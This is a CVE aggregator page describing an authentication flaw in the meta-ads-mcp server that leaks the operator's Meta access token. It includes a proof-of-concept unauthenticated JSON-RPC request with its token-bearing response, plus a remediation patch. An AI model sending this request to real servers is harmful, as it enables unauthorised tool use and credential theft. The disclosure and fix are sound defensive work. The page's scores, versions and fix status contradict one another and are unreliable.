CVE-2026-48039

CRITICALPre-NVD 9.19.1
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.1 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.1%, top 68% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
9.1
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 9.1Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Meta Ads MCP: Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token

Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token

| Field | Value | | ---------------- | ----- | | Repository | pipeboard-co/meta-ads-mcp | | Affected version | ≤ 1.0.101 (commit 496c988 ~ 7d14226); Versions 1.0.102–1.0.105 lack git tags, so patch status is unconfirmed. | | Vulnerability | CWE-287 — Improper Authentication | | Severity | Critical | | CVSS 3.1 | 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |

Summary

AuthInjectionMiddleware.dispatch() at http_auth_integration.py:272 unconditionally forwards unauthenticated Streamable HTTP requests to downstream MCP tool handlers without issuing a 401 response, allowing any network-reachable caller to invoke MCP tools without authentication. When no per-request credential is present, tool handlers fall back to the META_ACCESS_TOKEN environment variable, and when the downstream Meta Graph API call fails, api.py:263–269 serialises the raw httpx request URL—including the operator's access_token as a query parameter—into the JSON-RPC response body, delivering the credential to the unauthenticated caller.

Affected Code

meta_ads_mcp/core/http_auth_integration.py:272 — middleware unconditionally calls call_next(request) even when no auth headers are present

if not auth_token and not pipeboard_token:
            logger.warning("HTTP Auth Middleware: No authentication tokens found in headers")

try: response = await call_next(request) # line 272: no 401 returned return response finally: if auth_token: FastMCPAuthIntegration.clear_auth_token() if pipeboard_token: FastMCPAuthIntegration.clear_pipeboard_token()

meta_ads_mcp/core/api.py:136 — operator token appended to URL query parameters, exposed verbatim in Graph API error response request_url

request_params = params or {}
    request_params["access_token"] = access_token

Unauthenticated HTTP POST /mcp → AuthInjectionMiddleware.dispatch():272 (no 401 returned) → tool handler invokes make_api_request() using META_ACCESS_TOKEN env fallback → request_params["access_token"]:136 (token in URL) → Graph API error path at api.py:263–269 returns request_url containing access_token=… in 200 OK JSON-RPC response.

Proof of Concept

Step 1 — POST /mcp with no auth headers: HTTP 200 OK with operator access_token in request_url — proves unauthenticated tool execution and operator credential leakage.

docker run --rm -p 127.0.0.1:8080:8080 -e META_ACCESS_TOKEN=FAKE_TOKEN_FOR_POC_DEMO_123456789 meta-ads-mcp-vuln001 &
python3 poc.py

POST /mcp HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","method":"tools/call","id":2,"params":{"name":"get_ad_accounts","arguments":{"limit":1}}}

HTTP/1.1 200 OK
Content-Type: application/json

{ "jsonrpc": "2.0", "id": 2, "result": { "content": [ { "type": "text", "text": "{\"data\": \"{\\n \\\"error\\\": {\\n \\\"message\\\": \\\"HTTP Error: 400\\\",\\n \\\"details\\\": {\\n \\\"error\\\": {\\n \\\"message\\\": \\\"Invalid OAuth access token data.\\\",\\n \\\"type\\\": \\\"OAuthException\\\",\\n \\\"code\\\": 190\\n }\\n },\\n \\\"full_response\\\": {\\n \\\"status_code\\\": 400,\\n \\\"url\\\": \\\"https://graph.facebook.com/v24.0/me/adaccounts?...&access_token=FAKE_TOKEN_FOR_POC_DEMO_123456789\\\",\\n \\\"request_url\\\": \\\"https://graph.facebook.com/v24.0/me/adaccounts?fields=id%2Cname%2Caccount_id%2Caccount_status%2Camount_spent%2Cbalance%2Ccurrency%2Cage%2Cbusiness_city%2Cbusiness_country_code&limit=1&access_token=FAKE_TOKEN_FOR_POC_DEMO_123456789\\\"\\n }\\n }\\n}\"}" } ], "isError": false } }

Impact

An unauthenticated attacker who can reach the MCP server's HTTP port (default 8080) can invoke any registered MCP tool as the operator, consuming the operator's Meta Ads API quota and performing read or write operations on connected Meta ad accounts. When any tool call triggers a Graph API error, the operator's META_ACCESS_TOKEN is returned verbatim in the request_url field of the 200 OK JSON-RPC response, enabling the attacker to exfiltrate the long-lived credential and subsequently access the Meta Graph API directly outside the MCP interface.

Remediation

In AuthInjectionMiddleware.dispatch() (http_auth_integration.py), return a 401 Unauthorized response when neither auth_token nor pipeboard_token is present, instead of falling through to call_next:

from starlette.responses import Response

if not auth_token and not pipeboard_token: return Response( content='{"error":"Unauthorized"}', status_code=401, media_type="application/json", )

In make_api_request() (api.py), strip access_token from the request_url in error payloads, or transmit the token via an Authorization: Bearer header rather than a URL query parameter to prevent it from appearing in URLs, server logs, or error responses.

CVSS v3
9.1
EG Score
9.1(low)
EPSS
32.2%
KEV
Not listed

Published

June 11, 2026

Last Modified

June 11, 2026

Vendor Advisories for CVE-2026-48039(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
meta-ads-mcp0.1.0 ... 1.0.99 (167 versions)1.0.109

Data Freshness Timeline

(refreshed 30× in last 7d / 138× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 138 total refreshes for this CVE.

  1. 2026-07-07 03:10 UTCEG score recompute
  2. 2026-07-06 03:45 UTCEG score recompute
  3. 2026-07-05 23:27 UTCEG score recompute
  4. 2026-07-05 19:20 UTCEG score recompute
  5. 2026-07-05 15:13 UTCEG score recompute
  6. 2026-07-05 11:06 UTCEG score recompute
  7. 2026-07-04 23:52 UTCEG score recompute
  8. 2026-07-04 19:45 UTCEG score recompute
  9. 2026-07-04 15:35 UTCEG score recompute
  10. 2026-07-04 11:26 UTCEG score recompute
  11. 2026-07-03 23:21 UTCEG score recompute
  12. 2026-07-03 18:58 UTCEG score recompute
  13. 2026-07-03 14:49 UTCEG score recompute
  14. 2026-07-03 07:44 UTCEG score recompute
  15. 2026-07-02 23:44 UTCEG score recompute
  16. 2026-07-02 19:38 UTCEG score recompute
  17. 2026-07-02 15:30 UTCEG score recompute
  18. 2026-07-02 11:23 UTCEG score recompute
  19. 2026-07-02 07:16 UTCEG score recompute
  20. 2026-07-02 02:55 UTCEG score recompute
  21. 2026-07-01 22:47 UTCEG score recompute
  22. 2026-07-01 18:38 UTCEG score recompute
  23. 2026-07-01 14:31 UTCEG score recompute
  24. 2026-07-01 10:24 UTCEG score recompute
  25. 2026-07-01 06:17 UTCEG score recompute
Show 75 more
  1. 2026-07-01 01:59 UTCEG score recompute
  2. 2026-06-30 21:52 UTCEG score recompute
  3. 2026-06-30 17:45 UTCEG score recompute
  4. 2026-06-30 13:38 UTCEG score recompute
  5. 2026-06-30 07:32 UTCEG score recompute
  6. 2026-06-30 03:19 UTCEG score recompute
  7. 2026-06-29 23:12 UTCEG score recompute
  8. 2026-06-29 19:06 UTCEG score recompute
  9. 2026-06-29 14:59 UTCEG score recompute
  10. 2026-06-29 10:51 UTCEG score recompute
  11. 2026-06-29 06:44 UTCEG score recompute
  12. 2026-06-29 02:35 UTCEG score recompute
  13. 2026-06-28 22:23 UTCEG score recompute
  14. 2026-06-28 18:16 UTCEG score recompute
  15. 2026-06-28 14:08 UTCEG score recompute
  16. 2026-06-28 10:01 UTCEG score recompute
  17. 2026-06-28 05:53 UTCEG score recompute
  18. 2026-06-28 01:38 UTCEG score recompute
  19. 2026-06-27 21:26 UTCEG score recompute
  20. 2026-06-27 17:19 UTCEG score recompute
  21. 2026-06-27 13:12 UTCEG score recompute
  22. 2026-06-27 09:06 UTCEG score recompute
  23. 2026-06-27 04:59 UTCEG score recompute
  24. 2026-06-27 00:39 UTCEG score recompute
  25. 2026-06-26 20:25 UTCEG score recompute
  26. 2026-06-26 16:18 UTCEG score recompute
  27. 2026-06-26 12:11 UTCEG score recompute
  28. 2026-06-26 05:49 UTCEG score recompute
  29. 2026-06-26 01:42 UTCEG score recompute
  30. 2026-06-25 21:34 UTCEG score recompute
  31. 2026-06-25 17:26 UTCEG score recompute
  32. 2026-06-25 13:18 UTCEG score recompute
  33. 2026-06-25 09:11 UTCEG score recompute
  34. 2026-06-25 05:04 UTCEG score recompute
  35. 2026-06-25 00:54 UTCEG score recompute
  36. 2026-06-24 20:47 UTCEG score recompute
  37. 2026-06-24 15:08 UTCEG score recompute
  38. 2026-06-24 11:01 UTCEG score recompute
  39. 2026-06-24 06:52 UTCEG score recompute
  40. 2026-06-24 01:33 UTCEG score recompute
  41. 2026-06-23 21:25 UTCEG score recompute
  42. 2026-06-23 17:16 UTCEG score recompute
  43. 2026-06-23 13:09 UTCEG score recompute
  44. 2026-06-23 08:24 UTCEG score recompute
  45. 2026-06-23 02:27 UTCEG score recompute
  46. 2026-06-22 22:19 UTCEG score recompute
  47. 2026-06-22 18:12 UTCEG score recompute
  48. 2026-06-22 12:49 UTCEG score recompute
  49. 2026-06-22 08:38 UTCEG score recompute
  50. 2026-06-22 04:14 UTCEG score recompute
  51. 2026-06-22 00:05 UTCEG score recompute
  52. 2026-06-21 19:06 UTCEG score recompute
  53. 2026-06-21 14:13 UTCEG score recompute
  54. 2026-06-21 10:03 UTCEG score recompute
  55. 2026-06-21 05:39 UTCEG score recompute
  56. 2026-06-21 01:30 UTCEG score recompute
  57. 2026-06-20 20:31 UTCEG score recompute
  58. 2026-06-20 15:29 UTCEG score recompute
  59. 2026-06-20 11:19 UTCEG score recompute
  60. 2026-06-20 07:11 UTCEG score recompute
  61. 2026-06-20 02:27 UTCEG score recompute
  62. 2026-06-19 22:10 UTCEG score recompute
  63. 2026-06-19 18:02 UTCEG score recompute
  64. 2026-06-19 13:13 UTCEG score recompute
  65. 2026-06-19 09:03 UTCEG score recompute
  66. 2026-06-19 04:35 UTCEG score recompute
  67. 2026-06-19 00:26 UTCEG score recompute
  68. 2026-06-18 20:19 UTCEG score recompute
  69. 2026-06-18 15:51 UTCEG score recompute
  70. 2026-06-18 11:22 UTCEG score recompute
  71. 2026-06-18 07:11 UTCEG score recompute
  72. 2026-06-18 03:03 UTCEG score recompute
  73. 2026-06-17 22:55 UTCEG score recompute
  74. 2026-06-17 18:48 UTCEG score recompute
  75. 2026-06-17 14:39 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-48039?
CVE-2026-48039 is a critical vulnerability published on June 11, 2026. Meta Ads MCP: Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token | Field | Value | | ---------------- | ----- | | Repository | pipeboard-co/meta-ads-mcp | | Affected version | ≤ 1.0.101 (commit 496c988 ~…
When was CVE-2026-48039 disclosed?
CVE-2026-48039 was first published in the National Vulnerability Database on June 11, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-48039 actively exploited?
CVE-2026-48039 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 32.2% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-48039?
CVE-2026-48039 has a CVSS v4.0 base score of 9.1 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48039?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48039, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-48039

Explore →

Is Your Infrastructure Affected by CVE-2026-48039?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.